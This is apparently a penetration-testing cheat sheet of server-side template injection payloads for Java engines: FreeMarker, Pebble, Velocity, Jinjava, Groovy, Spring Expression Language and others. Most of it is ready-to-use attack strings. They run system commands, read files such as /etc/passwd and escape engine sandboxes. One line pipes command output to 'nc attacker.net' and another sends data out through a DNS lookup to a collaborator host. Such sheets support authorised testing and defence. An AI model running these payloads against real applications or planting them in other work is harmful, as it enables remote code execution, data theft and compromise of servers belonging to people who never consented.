Server Side Template Injection - Java
Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.
Summary
- Templating Libraries
- Java
- Freemarker
- Codepen
- Jinjava
- Pebble
- Velocity
- Groovy
- Spring Expression Language
- References
Templating Libraries
Template Name | Payload Format |
---|---|
Codepen | #{} |
Freemarker | ${3*3} , #{3*3} , [=3*3] |
Groovy | ${9*9} |
Jinjava | {{ }} |
Pebble | {{ }} |
Spring | *{7*7} |
Thymeleaf | [[ ]] |
Velocity | #set($X="") $X |
Java
Java - Basic Injection
Multiple variable expressions can be used, if
${...}
doesn't work try#{...}
,*{...}
,@{...}
or~{...}
.
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java - Retrieve Environment Variables
Java - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Freemarker
Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
You can try your payloads at https://try.freemarker.apache.org
Freemarker - Basic Injection
The template can be :
- Default:
${3*3}
- Legacy:
#{3*3}
- Alternative:
[=3*3]
since FreeMarker 2.3.4
Freemarker - Read File
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII
Freemarker - Code Execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
Freemarker - Sandbox Bypass
only works on Freemarker versions below 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Codepen
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
Jinjava
Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
Jinjava - Basic Injection
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/
Jinjava - Command Execution
Fixed by HubSpot/jinjava PR #230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Pebble
Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
Pebble - Basic Injection
Pebble - Code Execution
Old version of Pebble ( < version 3.0.9): {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
.
New version of Pebble :
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Velocity
Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Groovy
Groovy - Basic injection
Refer to https://groovy-lang.org/syntax.html , but ${9*9}
is the basic injection.
Groovy - Read File
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
Groovy - HTTP Request
Groovy - Command Execution
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
Groovy - Sandbox Bypass
or
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
Spring Expression Language
The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.
SpEL - Basic Injection
SpEL - DNS Exfiltration
DNS lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
SpEL - Session Attributes
Modify session attributes
SpEL - Command Execution
-
Method using
java.lang.Runtime
#1 - accessed with JavaClass -
Method using
java.lang.Runtime
#2 -
Method using
java.lang.Runtime
#3 - accessed withinvoke
-
Method using
java.lang.Runtime
#3 - accessed withjavax.script.ScriptEngineManager
-
Method using
java.lang.ProcessBuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")}
References
- Server Side Template Injection – on the example of Pebble - Michał Bentkowski - September 17, 2019
- Server-Side Template Injection: RCE For The Modern Web App - James Kettle (@albinowax) - December 10, 2015
- Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015
- Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015
- VelocityServlet Expression Language injection - MagicBlue - November 15, 2017
- Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020
- Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022
- Expression Language Injection - OWASP - December 4, 2019
- Expression Language injection - PortSwigger - January 27, 2019
- Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021
- RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018
- Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019